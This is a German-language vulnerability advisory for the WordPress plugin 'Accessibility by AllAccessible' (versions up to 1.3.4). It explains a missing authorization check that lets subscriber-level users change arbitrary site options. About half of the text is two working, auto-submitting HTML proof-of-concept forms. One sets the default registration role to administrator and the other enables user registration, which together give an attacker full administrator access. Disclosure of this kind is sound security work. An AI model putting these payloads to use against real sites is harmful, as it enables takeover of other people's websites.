
Barrierefreiheit von AllAccessible <= 1.3.4 - Fehlende Autorisierung für authentifizierte (Subscriber+) Benutzer zur willkürlichen Aktualisierung von Optionen
Accessibility by AllAccessible <= 1.3.4 – Fehlende Autorisierung für authentifizierte Benutzer (Abonnent+) führt zu beliebiger Aktualisierung von Optionen
Das Plugin „Accessibility by AllAccessible“ für WordPress ist anfällig für unbefugte Datenänderungen, die zu einer Privilegienausweitung führen können, da in allen Versionen bis einschließlich 1.3.4 eine fehlende Berechtigungsprüfung in der Funktion AllAccessible_save_settings vorliegt. Dies ermöglicht es authentifizierten Angreifern mit Abonnenten-Zugriff oder höher, beliebige Optionen auf der WordPress-Seite zu aktualisieren. Dies kann ausgenutzt werden, um die Standardrolle für Registrierungen auf Administrator zu setzen und die Benutzerregistrierung zu aktivieren, sodass Angreifer Administratorzugriff auf eine verwundbare Seite erhalten.
<html>
<body>
<form action="https://wp-dev.ddev.site/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="AllAccessible_save_settings" />
<input type="hidden" name="opt_name" value="default_role" />
<input type="hidden" name="opt_value" value="administrator" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
<html>
<body>
<form action="https://wp-dev.ddev.site/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="AllAccessible_save_settings" />
<input type="hidden" name="opt_name" value="users_can_register" />
<input type="hidden" name="opt_value" value="1" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>